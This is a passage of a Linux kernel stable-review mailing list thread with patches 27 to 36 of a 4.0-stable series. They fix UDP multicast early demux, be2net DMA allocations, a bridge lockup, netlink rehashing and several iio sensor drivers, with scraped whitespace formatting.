Fix this by calling ip_check_mc_rcu() in udp_v4_early_demux() to verify that the multicast packet is indeed ours.
--- net/ipv4/udp.c | 18 +++++++++++++++--- 1 file changed, 15 insertions(+), 3 deletions(-)
net/ipv4/udp.c +15 -3
@@ -90,6 +90,7 @@#include <linux/socket.h> #include <linux/sockios.h> #include <linux/igmp.h> +#include <linux/inetdevice.h> #include <linux/in.h> #include <linux/errno.h> #include <linux/timer.h>
@@ -1966,6 +1967,7 @@ void udp_v4_early_demux(struct sk_buff *struct sock *sk;struct dst_entry *dst;int dif = skb->dev->ifindex; +int ours;/* validate the packet */ if (!pskb_may_pull (skb,skb_transport_offset (skb) +sizeof (struct udphdr )))
@@ -1975,14 +1977,24 @@ void udp_v4_early_demux(struct sk_buff * uh =udp_hdr (skb);if (skb->pkt_type ==PACKET_BROADCAST || - skb->pkt_type ==PACKET_MULTICAST ) + skb->pkt_type ==PACKET_MULTICAST ) { +struct in_device *in_dev =__in_dev_get_rcu (skb->dev); + +if (!in_dev) +return ; + + ours =ip_check_mc_rcu (in_dev, iph->daddr, iph->saddr, + iph->protocol); +if (!ours) +return ; sk =__udp4_lib_mcast_demux_lookup (net, uh->dest, iph->daddr, uh->source, iph->saddr, dif); -else if (skb->pkt_type ==PACKET_HOST ) + }else if (skb->pkt_type ==PACKET_HOST ) { sk =__udp4_lib_demux_lookup (net, uh->dest, iph->daddr, uh->source, iph->saddr, dif); -else + }else {return ; + }if (!sk)return ;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 27/105 be2net: Replace dma/pci_alloc_coherent() calls with dma_zalloc_coherent()
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sriharsha Basavapatna <[email protected]>
[ Upstream commit e51000db4c880165eab06ec0990605f24e75203f ]
There are several places in the driver (all in control paths) where coherent dma memory is being allocated using either dma_alloc_coherent() or the deprecated pci_alloc_consistent(). All these calls should be changed to use dma_zalloc_coherent() to avoid uninitialized fields in data structures backed by this memory.
--- drivers/net/ethernet/emulex/benet/be_cmds.c | 87 ++++++++++++++----------- drivers/net/ethernet/emulex/benet/be_ethtool.c | 18 ++--- drivers/net/ethernet/emulex/benet/be_main.c | 16 ++-- 3 files changed, 68 insertions(+), 53 deletions(-)
drivers/net/ethernet/emulex/benet/be_cmds.c +50 -37
@@ -1773,9 +1773,9 @@ int be_cmd_get_regs(struct be_adapter *a total_size = buf_len; get_fat_cmd.size =sizeof (struct be_cmd_req_get_fat ) +60 *1024 ; - get_fat_cmd.va =pci_alloc_consistent (adapter->pdev, - get_fat_cmd.size, - &get_fat_cmd.dma); + get_fat_cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, + get_fat_cmd.size, + &get_fat_cmd.dma,GFP_ATOMIC );if (!get_fat_cmd.va) {dev_err (&adapter->pdev->dev,"Memory allocation failure while reading FAT data\n" );
@@ -1820,8 +1820,8 @@ int be_cmd_get_regs(struct be_adapter *a log_offset += buf_size; } err: -pci_free_consistent (adapter->pdev, get_fat_cmd.size, - get_fat_cmd.va, get_fat_cmd.dma); +dma_free_coherent (&adapter->pdev->dev, get_fat_cmd.size, + get_fat_cmd.va, get_fat_cmd.dma);spin_unlock_bh (&adapter->mcc_lock);return status; }
@@ -2272,12 +2272,12 @@ int be_cmd_read_port_transceiver_data(streturn -EINVAL ; cmd.size =sizeof (struct be_cmd_resp_port_type ); - cmd.va =pci_alloc_consistent (adapter->pdev, cmd.size, &cmd.dma); + cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, cmd.size, &cmd.dma, +GFP_ATOMIC );if (!cmd.va) {dev_err (&adapter->pdev->dev,"Memory allocation failed\n" );return -ENOMEM ; } -memset (cmd.va,0 , cmd.size);spin_lock_bh (&adapter->mcc_lock);
@@ -2302,7 +2302,7 @@ int be_cmd_read_port_transceiver_data(st } err:spin_unlock_bh (&adapter->mcc_lock); -pci_free_consistent (adapter->pdev, cmd.size, cmd.va, cmd.dma); +dma_free_coherent (&adapter->pdev->dev, cmd.size, cmd.va, cmd.dma);return status; }
@@ -2777,7 +2777,8 @@ int be_cmd_get_phy_info(struct be_adapte goto err; } cmd.size =sizeof (struct be_cmd_req_get_phy_info ); - cmd.va =pci_alloc_consistent (adapter->pdev, cmd.size, &cmd.dma); + cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, cmd.size, &cmd.dma, +GFP_ATOMIC );if (!cmd.va) {dev_err (&adapter->pdev->dev,"Memory alloc failure\n" ); status = -ENOMEM ;
@@ -2811,7 +2812,7 @@ int be_cmd_get_phy_info(struct be_adapteBE_SUPPORTED_SPEED_1GBPS ; } } -pci_free_consistent (adapter->pdev, cmd.size, cmd.va, cmd.dma); +dma_free_coherent (&adapter->pdev->dev, cmd.size, cmd.va, cmd.dma); err:spin_unlock_bh (&adapter->mcc_lock);return status;
@@ -2862,8 +2863,9 @@ int be_cmd_get_cntl_attributes(struct bememset (&attribs_cmd,0 ,sizeof (struct be_dma_mem )); attribs_cmd.size =sizeof (struct be_cmd_resp_cntl_attribs ); - attribs_cmd.va =pci_alloc_consistent (adapter->pdev, attribs_cmd.size, - &attribs_cmd.dma); + attribs_cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, + attribs_cmd.size, + &attribs_cmd.dma,GFP_ATOMIC );if (!attribs_cmd.va) {dev_err (&adapter->pdev->dev,"Memory allocation failure\n" ); status = -ENOMEM ;
@@ -2890,8 +2892,8 @@ int be_cmd_get_cntl_attributes(struct be err:mutex_unlock (&adapter->mbox_lock);if (attribs_cmd.va) -pci_free_consistent (adapter->pdev, attribs_cmd.size, - attribs_cmd.va, attribs_cmd.dma); +dma_free_coherent (&adapter->pdev->dev, attribs_cmd.size, + attribs_cmd.va, attribs_cmd.dma);return status; }
@@ -3029,9 +3031,10 @@ int be_cmd_get_mac_from_list(struct be_amemset (&get_mac_list_cmd,0 ,sizeof (struct be_dma_mem )); get_mac_list_cmd.size =sizeof (struct be_cmd_resp_get_mac_list ); - get_mac_list_cmd.va =pci_alloc_consistent (adapter->pdev, - get_mac_list_cmd.size, - &get_mac_list_cmd.dma); + get_mac_list_cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, + get_mac_list_cmd.size, + &get_mac_list_cmd.dma, +GFP_ATOMIC );if (!get_mac_list_cmd.va) { dev_err(&adapter->pdev->dev,
@@ -3104,8 +3107,8 @@ int be_cmd_get_mac_from_list(struct be_a out:spin_unlock_bh (&adapter->mcc_lock); -pci_free_consistent (adapter->pdev, get_mac_list_cmd.size, - get_mac_list_cmd.va, get_mac_list_cmd.dma); +dma_free_coherent (&adapter->pdev->dev, get_mac_list_cmd.size, + get_mac_list_cmd.va, get_mac_list_cmd.dma);return status; }
@@ -3158,8 +3161,8 @@ int be_cmd_set_mac_list(struct be_adaptememset (&cmd,0 ,sizeof (struct be_dma_mem )); cmd.size =sizeof (struct be_cmd_req_set_mac_list ); - cmd.va =dma_alloc_coherent (&adapter->pdev->dev, cmd.size, - &cmd.dma,GFP_KERNEL ); + cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, cmd.size, &cmd.dma, +GFP_KERNEL );if (!cmd.va)return -ENOMEM ;
@@ -3348,7 +3351,8 @@ int be_cmd_get_acpi_wol_cap(struct be_admemset (&cmd,0 ,sizeof (struct be_dma_mem )); cmd.size =sizeof (struct be_cmd_resp_acpi_wol_magic_config_v1 ); - cmd.va =pci_alloc_consistent (adapter->pdev, cmd.size, &cmd.dma); + cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, cmd.size, &cmd.dma, +GFP_ATOMIC );if (!cmd.va) {dev_err (&adapter->pdev->dev,"Memory allocation failure\n" ); status = -ENOMEM ;
@@ -3383,7 +3387,8 @@ int be_cmd_get_acpi_wol_cap(struct be_ad err:mutex_unlock (&adapter->mbox_lock);if (cmd.va) -pci_free_consistent (adapter->pdev, cmd.size, cmd.va, cmd.dma); +dma_free_coherent (&adapter->pdev->dev, cmd.size, cmd.va, + cmd.dma);return status; }
@@ -3397,8 +3402,9 @@ int be_cmd_set_fw_log_level(struct be_admemset (&extfat_cmd,0 ,sizeof (struct be_dma_mem )); extfat_cmd.size =sizeof (struct be_cmd_resp_get_ext_fat_caps ); - extfat_cmd.va =pci_alloc_consistent (adapter->pdev, extfat_cmd.size, - &extfat_cmd.dma); + extfat_cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, + extfat_cmd.size, &extfat_cmd.dma, +GFP_ATOMIC );if (!extfat_cmd.va)return -ENOMEM ;
@@ -3420,8 +3426,8 @@ int be_cmd_set_fw_log_level(struct be_ad status =be_cmd_set_ext_fat_capabilites (adapter, &extfat_cmd, cfgs); err: -pci_free_consistent (adapter->pdev, extfat_cmd.size, extfat_cmd.va, - extfat_cmd.dma); +dma_free_coherent (&adapter->pdev->dev, extfat_cmd.size, extfat_cmd.va, + extfat_cmd.dma);return status; }
@@ -3434,8 +3440,9 @@ int be_cmd_get_fw_log_level(struct be_admemset (&extfat_cmd,0 ,sizeof (struct be_dma_mem )); extfat_cmd.size =sizeof (struct be_cmd_resp_get_ext_fat_caps ); - extfat_cmd.va =pci_alloc_consistent (adapter->pdev, extfat_cmd.size, - &extfat_cmd.dma); + extfat_cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, + extfat_cmd.size, &extfat_cmd.dma, +GFP_ATOMIC );if (!extfat_cmd.va) { dev_err(&adapter->pdev->dev, "%s: Memory allocation failure\n",
@@ -3453,8 +3460,8 @@ int be_cmd_get_fw_log_level(struct be_ad level = cfgs->module[0 ].trace_lvl[j].dbg_lvl; } } -pci_free_consistent (adapter->pdev, extfat_cmd.size, extfat_cmd.va, - extfat_cmd.dma); +dma_free_coherent (&adapter->pdev->dev, extfat_cmd.size, extfat_cmd.va, + extfat_cmd.dma); err:return level; }
@@ -3652,7 +3659,8 @@ int be_cmd_get_func_config(struct be_adamemset (&cmd,0 ,sizeof (struct be_dma_mem )); cmd.size =sizeof (struct be_cmd_resp_get_func_config ); - cmd.va =pci_alloc_consistent (adapter->pdev, cmd.size, &cmd.dma); + cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, cmd.size, &cmd.dma, +GFP_ATOMIC );if (!cmd.va) {dev_err (&adapter->pdev->dev,"Memory alloc failure\n" ); status = -ENOMEM ;
@@ -3692,7 +3700,8 @@ int be_cmd_get_func_config(struct be_ada err:mutex_unlock (&adapter->mbox_lock);if (cmd.va) -pci_free_consistent (adapter->pdev, cmd.size, cmd.va, cmd.dma); +dma_free_coherent (&adapter->pdev->dev, cmd.size, cmd.va, + cmd.dma);return status; }
@@ -3713,7 +3722,8 @@ int be_cmd_get_profile_config(struct be_memset (&cmd,0 ,sizeof (struct be_dma_mem )); cmd.size =sizeof (struct be_cmd_resp_get_profile_config ); - cmd.va =pci_alloc_consistent (adapter->pdev, cmd.size, &cmd.dma); + cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, cmd.size, &cmd.dma, +GFP_ATOMIC );if (!cmd.va)return -ENOMEM ;
@@ -3752,7 +3762,8 @@ int be_cmd_get_profile_config(struct be_ res->vf_if_cap_flags = vf_res->cap_flags; err:if (cmd.va) -pci_free_consistent (adapter->pdev, cmd.size, cmd.va, cmd.dma); +dma_free_coherent (&adapter->pdev->dev, cmd.size, cmd.va, + cmd.dma);return status; }
@@ -3767,7 +3778,8 @@ static int be_cmd_set_profile_config(strmemset (&cmd,0 ,sizeof (struct be_dma_mem )); cmd.size =sizeof (struct be_cmd_req_set_profile_config ); - cmd.va =pci_alloc_consistent (adapter->pdev, cmd.size, &cmd.dma); + cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, cmd.size, &cmd.dma, +GFP_ATOMIC );if (!cmd.va)return -ENOMEM ;
@@ -3783,7 +3795,8 @@ static int be_cmd_set_profile_config(str status =be_cmd_notify_wait (adapter, &wrb);if (cmd.va) -pci_free_consistent (adapter->pdev, cmd.size, cmd.va, cmd.dma); +dma_free_coherent (&adapter->pdev->dev, cmd.size, cmd.va, + cmd.dma);return status; }
drivers/net/ethernet/emulex/benet/be_ethtool.c +10 -8
@@ -264,8 +264,8 @@ static int lancer_cmd_read_file(struct bint status =0 ; read_cmd.size =LANCER_READ_FILE_CHUNK ; - read_cmd.va =pci_alloc_consistent (adapter->pdev, read_cmd.size, - &read_cmd.dma); + read_cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, read_cmd.size, + &read_cmd.dma,GFP_ATOMIC );if (!read_cmd.va) { dev_err(&adapter->pdev->dev,
@@ -289,8 +289,8 @@ static int lancer_cmd_read_file(struct bbreak ; } } -pci_free_consistent (adapter->pdev, read_cmd.size, read_cmd.va, - read_cmd.dma); +dma_free_coherent (&adapter->pdev->dev, read_cmd.size, read_cmd.va, + read_cmd.dma);return status; }
@@ -818,8 +818,9 @@ static int be_test_ddr_dma(struct be_ada }; ddrdma_cmd.size =sizeof (struct be_cmd_req_ddrdma_test ); - ddrdma_cmd.va =dma_alloc_coherent (&adapter->pdev->dev, ddrdma_cmd.size, - &ddrdma_cmd.dma,GFP_KERNEL ); + ddrdma_cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, + ddrdma_cmd.size, &ddrdma_cmd.dma, +GFP_KERNEL );if (!ddrdma_cmd.va)return -ENOMEM ;
@@ -941,8 +942,9 @@ static int be_read_eeprom(struct net_devmemset (&eeprom_cmd,0 ,sizeof (struct be_dma_mem )); eeprom_cmd.size =sizeof (struct be_cmd_req_seeprom_read ); - eeprom_cmd.va =dma_alloc_coherent (&adapter->pdev->dev, eeprom_cmd.size, - &eeprom_cmd.dma,GFP_KERNEL ); + eeprom_cmd.va =dma_zalloc_coherent (&adapter->pdev->dev, + eeprom_cmd.size, &eeprom_cmd.dma, +GFP_KERNEL );if (!eeprom_cmd.va)return -ENOMEM ;
drivers/net/ethernet/emulex/benet/be_main.c +8 -8
@@ -4392,8 +4392,8 @@ static int lancer_fw_download(struct be_ flash_cmd.size =sizeof (struct lancer_cmd_req_write_object ) +LANCER_FW_DOWNLOAD_CHUNK ; - flash_cmd.va =dma_alloc_coherent (dev, flash_cmd.size, - &flash_cmd.dma,GFP_KERNEL ); + flash_cmd.va =dma_zalloc_coherent (dev, flash_cmd.size, + &flash_cmd.dma,GFP_KERNEL );if (!flash_cmd.va)return -ENOMEM ;
@@ -4526,8 +4526,8 @@ static int be_fw_download(struct be_adap } flash_cmd.size =sizeof (struct be_cmd_write_flashrom ); - flash_cmd.va =dma_alloc_coherent (dev, flash_cmd.size, &flash_cmd.dma, -GFP_KERNEL ); + flash_cmd.va =dma_zalloc_coherent (dev, flash_cmd.size, &flash_cmd.dma, +GFP_KERNEL );if (!flash_cmd.va)return -ENOMEM ;
@@ -4941,10 +4941,10 @@ static int be_ctrl_init(struct be_adapte goto done; mbox_mem_alloc->size =sizeof (struct be_mcc_mailbox ) +16 ; - mbox_mem_alloc->va =dma_alloc_coherent (&adapter->pdev->dev, - mbox_mem_alloc->size, - &mbox_mem_alloc->dma, -GFP_KERNEL ); + mbox_mem_alloc->va =dma_zalloc_coherent (&adapter->pdev->dev, + mbox_mem_alloc->size, + &mbox_mem_alloc->dma, +GFP_KERNEL );if (!mbox_mem_alloc->va) { status = -ENOMEM ; goto unmap_pci_bars;
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 28/105 bridge: disable softirqs around br_fdb_update to avoid lockup
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Nikolay Aleksandrov <[email protected]>
[ Upstream commit c4c832f89dc468cf11dc0dd17206bace44526651 ]
br_fdb_update() can be called in process context in the following way:br_fdb_add() -> __br_fdb_add() -> br_fdb_update() (if NTF_USE flag is set) so we need to disable softirqs because there are softirq users of the hash_lock. One easy way to reproduce this is to modify the bridge utility to set NTF_USE, enable stp and then set maxageing to a low value so br_fdb_cleanup() is called frequently and then just add new entries in a loop. This happens because br_fdb_cleanup() is called from timer/softirq context. The spin locks in br_fdb_update were _bh before commit f8ae737deea1 ("[BRIDGE]: forwarding remove unneeded preempt and bh diasables") and at the time that commit was correct because br_fdb_update() couldn't be called from process context, but that changed after commit:292d1398983f ("bridge: add NTF_USE support")
Using local_bh_disable/enable around br_fdb_update() allows us to keep using the spin_lock/unlock in br_fdb_update for the fast-path.
--- net/bridge/br_fdb.c | 2 ++ 1 file changed, 2 insertions(+)
net/bridge/br_fdb.c +2 -0
@@ -796,9 +796,11 @@ static int __br_fdb_add(struct ndmsg *ndint err =0 ;if (ndm->ndm_flags &NTF_USE ) { +local_bh_disable ();rcu_read_lock ();br_fdb_update (p->br, p, addr, vid, true);rcu_read_unlock (); +local_bh_enable (); }else {spin_lock_bh (&p->br->hash_lock); err = fdb_add_entry(p, addr, ndm->ndm_state,
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 29/105 netlink: Disable insertions/removals during rehash
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Herbert Xu <[email protected]>
[ Upstream commit: Not applicable ]
The current rhashtable rehash code is buggy and can't deal with parallel insertions/removals without corrupting the hash table.
This patch disables it by partially reverting c5adde9468b0714a051eac7f9666f23eb10b61f7 ("netlink: eliminate nl_sk_hash_lock").
--- net/netlink/af_netlink.c | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-)
net/netlink/af_netlink.c +4 -2
@@ -1052,7 +1052,7 @@ static int netlink_insert(struct sock *sstruct netlink_table *table = &nl_table[sk->sk_protocol];int err; -lock_sock (sk); +mutex_lock (&table->hash.mutex); err = -EBUSY ;if (nlk_sk (sk)->portid)
@@ -1074,7 +1074,7 @@ static int netlink_insert(struct sock *s } err: -release_sock (sk); +mutex_unlock (&table->hash.mutex);return err; }
@@ -1083,10 +1083,12 @@ static void netlink_remove(struct sock *struct netlink_table *table; table = &nl_table[sk->sk_protocol]; +mutex_lock (&table->hash.mutex);if (rhashtable_remove (&table->hash, &nlk_sk (sk)->node)) {WARN_ON (atomic_read (&sk->sk_refcnt) ==1 );__sock_put (sk); } +mutex_unlock (&table->hash.mutex);netlink_table_grab ();if (nlk_sk (sk)->subscriptions) {
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 30/105 iio: adc: twl6030-gpadc: Fix modalias
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Axel Lin <[email protected]>
commit e5d732186270e0881f47d95610316c0614b21c3e upstream.
Remove extra space between platform prefix and DRIVER_NAME in MODULE_ALIAS.
--- drivers/iio/adc/twl6030-gpadc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-)
drivers/iio/adc/twl6030-gpadc.c +1 -1
@@ -1001,7 +1001,7 @@ static struct platform_driver twl6030_gpmodule_platform_driver (twl6030_gpadc_driver); -MODULE_ALIAS ("platform: " DRIVER_NAME ); +MODULE_ALIAS ("platform:" DRIVER_NAME );MODULE_AUTHOR ("Balaji T K <[email protected]>" );MODULE_AUTHOR ("Graeme Gregory <[email protected]>" );MODULE_AUTHOR ("Oleksandr Kozaruk <[email protected]" );
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 31/105 iio: adis16400: Report pressure channel scale
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lars-Peter Clausen <[email protected]>
commit 69ca2d771e4e709c5ae1125858e1246e77ef8b86 upstream.
Add the scale for the pressure channel, which is currently missing.
--- drivers/iio/imu/adis16400_core.c | 5 +++++ 1 file changed, 5 insertions(+)
drivers/iio/imu/adis16400_core.c +5 -0
@@ -405,6 +405,11 @@ static int adis16400_read_raw(struct iio *val = st->variant->temp_scale_nano /1000000 ; *val2 = (st->variant->temp_scale_nano %1000000 );return IIO_VAL_INT_PLUS_MICRO ; +case IIO_PRESSURE : +/* 20 uBar = 0.002kPascal */ + *val =0 ; + *val2 =2000 ; +return IIO_VAL_INT_PLUS_MICRO ;default :return -EINVAL ; }
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 32/105 iio: adis16400: Use != channel indices for the two voltage channels
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paul Cercueil <[email protected]>
commit 7323d59862802ca109451eeda9777024a7625509 upstream.
Previously, the two voltage channels had the same ID, which didn't cause conflicts in sysfs only because one channel is named and the other isn't; this is still violating the spec though, two indexed channels should never have the same index.
--- drivers/iio/imu/adis16400_core.c | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-)
drivers/iio/imu/adis16400_core.c +4 -4
@@ -459,10 +459,10 @@ static int adis16400_read_raw(struct iio } } -#define ADIS16400_VOLTAGE_CHAN (addr, bits, name, si) { \ +#define ADIS16400_VOLTAGE_CHAN (addr, bits, name, si, chn) { \ .type = IIO_VOLTAGE, \ .indexed = 1, \ - .channel = 0, \ + .channel = chn, \ .extend_name = name, \ .info_mask_separate = BIT(IIO_CHAN_INFO_RAW) | \ BIT(IIO_CHAN_INFO_SCALE), \
@@ -479,10 +479,10 @@ static int adis16400_read_raw(struct iio }#define ADIS16400_SUPPLY_CHAN (addr, bits) \ - ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY) + ADIS16400_VOLTAGE_CHAN(addr, bits, "supply", ADIS16400_SCAN_SUPPLY, 0)#define ADIS16400_AUX_ADC_CHAN (addr, bits) \ - ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC) + ADIS16400_VOLTAGE_CHAN(addr, bits, NULL, ADIS16400_SCAN_ADC, 1)#define ADIS16400_GYRO_CHAN (mod, addr, bits) { \ .type = IIO_ANGL_VEL, \
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 33/105 iio: adis16400: Compute the scan mask from channel indices
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paul Cercueil <[email protected]>
commit c2a8b623a089d52c199e305e7905829907db8ec8 upstream.
We unfortunately can't use ~0UL for the scan mask to indicate that the only valid scan mask is all channels selected. The IIO core needs the exact mask to work correctly and not a super-set of it. So calculate the masked based on the channels that are available for a particular device.
--- drivers/iio/imu/adis16400.h | 1 + drivers/iio/imu/adis16400_core.c | 25 ++++++++++++++++++------- 2 files changed, 19 insertions(+), 7 deletions(-)
drivers/iio/imu/adis16400.h +1 -0
@@ -165,6 +165,7 @@ struct adis16400_state {int filt_int;struct adis adis; +unsigned long avail_scan_mask[2 ]; };/* At the moment triggers are only used for ring buffer
drivers/iio/imu/adis16400_core.c +18 -7
@@ -796,11 +796,6 @@ static const struct iio_info adis16400_i .debugfs_reg_access = adis_debugfs_reg_access, }; -static const unsigned long adis16400_burst_scan_mask[] = { - ~0UL , -0 , -}; -static const char *const adis16400_status_error_msgs[] = { [ADIS16400_DIAG_STAT_ZACCL_FAIL ] ="Z-axis accelerometer self-test failure" , [ADIS16400_DIAG_STAT_YACCL_FAIL ] ="Y-axis accelerometer self-test failure" ,
@@ -848,6 +843,20 @@ static const struct adis_data adis16400_ BIT(ADIS16400_DIAG_STAT_POWER_LOW), }; +static void adis16400_setup_chan_mask (struct adis16400_state *st) +{ +const struct adis16400_chip_info *chip_info = st->variant; +unsigned i; + +for (i =0 ; i < chip_info->num_channels; i++) { +const struct iio_chan_spec *ch = &chip_info->channels[i]; + +if (ch->scan_index >=0 && + ch->scan_index !=ADIS16400_SCAN_TIMESTAMP ) + st->avail_scan_mask[0 ] |=BIT (ch->scan_index); + } +} +static int adis16400_probe (struct spi_device *spi) {struct adis16400_state *st;
@@ -871,8 +880,10 @@ static int adis16400_probe(struct spi_de indio_dev->info = &adis16400_info; indio_dev->modes =INDIO_DIRECT_MODE ; -if (!(st->variant->flags &ADIS16400_NO_BURST )) - indio_dev->available_scan_masks = adis16400_burst_scan_mask; +if (!(st->variant->flags &ADIS16400_NO_BURST )) { +adis16400_setup_chan_mask (st); + indio_dev->available_scan_masks = st->avail_scan_mask; + } ret =adis_init (&st->adis, indio_dev, spi, &adis16400_data);if (ret)
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 34/105 iio: adis16400: Fix burst mode
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Paul Cercueil <[email protected]>
commit 9df560350c90f3d3909fe653399b3584c9a17b61 upstream.
There are a few issues with the burst mode support. For one we don't setup the rx buffer, so the buffer will never be filled and all samples will read as the zero. Furthermore the tx buffer has the wrong type, which means the driver sends the wrong command and not the right data is returned.
The final issue is that in burst mode all channels are transferred. Hence the length of the transfer length should be the number of hardware channels * 2 bytes. Currently the driver uses indio_dev->scan_bytes for this. But if the timestamp channel is enabled the scan_bytes will be larger than the burst length. Fix this by just calculating the burst length based on the number of hardware channels.
--- drivers/iio/imu/adis16400_buffer.c | 16 +++++++++------- 1 file changed, 9 insertions(+), 7 deletions(-)
drivers/iio/imu/adis16400_buffer.c +9 -7
@@ -18,7 +18,8 @@ int adis16400_update_scan_mode(struct ii {struct adis16400_state *st =iio_priv (indio_dev);struct adis *adis = &st->adis; -uint16_t *tx; +unsigned int burst_length; +u8 *tx;if (st->variant->flags &ADIS16400_NO_BURST )return adis_update_scan_mode (indio_dev, scan_mask);
@@ -26,26 +27,27 @@ int adis16400_update_scan_mode(struct iikfree (adis->xfer);kfree (adis->buffer); +/* All but the timestamp channel */ + burst_length = (indio_dev->num_channels -1 ) *sizeof (u16); + adis->xfer =kcalloc (2 ,sizeof (*adis->xfer),GFP_KERNEL );if (!adis->xfer)return -ENOMEM ; - adis->buffer =kzalloc (indio_dev->scan_bytes +sizeof (u16), -GFP_KERNEL ); + adis->buffer =kzalloc (burst_length +sizeof (u16),GFP_KERNEL );if (!adis->buffer)return -ENOMEM ; - tx = adis->buffer + indio_dev->scan_bytes; - + tx = adis->buffer + burst_length; tx[0 ] =ADIS_READ_REG (ADIS16400_GLOB_CMD ); tx[1 ] =0 ; adis->xfer[0 ].tx_buf = tx; adis->xfer[0 ].bits_per_word =8 ; adis->xfer[0 ].len =2 ; - adis->xfer[1 ].tx_buf = tx; + adis->xfer[1 ].rx_buf = adis->buffer; adis->xfer[1 ].bits_per_word =8 ; - adis->xfer[1 ].len = indio_dev->scan_bytes; + adis->xfer[1 ].len = burst_length;spi_message_init (&adis->msg);spi_message_add_tail (&adis->xfer[0 ], &adis->msg);
--
To unsubscribe from this list: send the line "unsubscribe stable" in
Greg Kroah-Hartman
maintainerPATCH 35/105 iio: adis16400: Fix burst transfer for adis16448
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Lars-Peter Clausen <[email protected]>
commit d046ba268adb87c7780494ecf897cbafbf100d57 upstream.
The adis16448, unlike the other chips in this family, in addition to the hardware channels also sends out the DIAG_STAT register in burst mode before them. Handle that case by skipping over the first 2 bytes before we pass the received data to the buffer.
--- drivers/iio/imu/adis16400.h | 1 + drivers/iio/imu/adis16400_buffer.c | 10 +++++++++- drivers/iio/imu/adis16400_core.c | 3 ++- 3 files changed, 12 insertions(+), 2 deletions(-)
drivers/iio/imu/adis16400.h +1 -0
@@ -139,6 +139,7 @@#define ADIS16400_NO_BURST BIT(1)#define ADIS16400_HAS_SLOW_MODE BIT(2)#define ADIS16400_HAS_SERIAL_NUMBER BIT(3) +#define ADIS16400_BURST_DIAG_STAT BIT(4)struct adis16400_state ;
drivers/iio/imu/adis16400_buffer.c +9 -1
@@ -29,6 +29,8 @@ int adis16400_update_scan_mode(struct ii/* All but the timestamp channel */ burst_length = (indio_dev->num_channels -1 ) *sizeof (u16); +if (st->variant->flags &ADIS16400_BURST_DIAG_STAT ) + burst_length +=sizeof (u16); adis->xfer =kcalloc (2 ,sizeof (*adis->xfer),GFP_KERNEL );if (!adis->xfer)
@@ -63,6 +65,7 @@ irqreturn_t adis16400_trigger_handler(instruct adis16400_state *st =iio_priv (indio_dev);struct adis *adis = &st->adis;u32 old_speed_hz = st->adis.spi->max_speed_hz; +void *buffer;int ret;if (!adis->buffer)
@@ -83,7 +86,12 @@ irqreturn_t adis16400_trigger_handler(inspi_setup (st->adis.spi); } -iio_push_to_buffers_with_timestamp (indio_dev, adis->buffer, +if (st->variant->flags &ADIS16400_BURST_DIAG_STAT ) + buffer = adis->buffer +sizeof (u16); +else + buffer = adis->buffer; + +iio_push_to_buffers_with_timestamp (indio_dev, buffer, pf->timestamp);iio_trigger_notify_done (indio_dev->trig);
drivers/iio/imu/adis16400_core.c +2 -1
@@ -778,7 +778,8 @@ static struct adis16400_chip_info adis16 .channels = adis16448_channels, .num_channels = ARRAY_SIZE(adis16448_channels), .flags =ADIS16400_HAS_PROD_ID | - ADIS16400_HAS_SERIAL_NUMBER, +ADIS16400_HAS_SERIAL_NUMBER | + ADIS16400_BURST_DIAG_STAT, .gyro_scale_micro = IIO_DEGREE_TO_RAD(10000), /* 0.01 deg/s */ .accel_scale_micro = IIO_G_TO_M_S_2(833), /* 1/1200 g */ .temp_scale_nano = 73860000, /* 0.07386 C */
--
To unsubscribe from this list: send the line "unsubscribe linux-kernel" in Please read the FAQ at http://www.tux.org/lkml/
Greg Kroah-Hartman
maintainerPATCH 36/105 drivers/base: cacheinfo: handle absence of caches
In reply to Greg Kroah-Hartman4.0-stable review patch. If anyone has any objections, please let me know.
------------------
From: Sudeep Holla <[email protected]>
commit 3370e13aa463adb84488ebf0e599e3dc0024315b upstream.
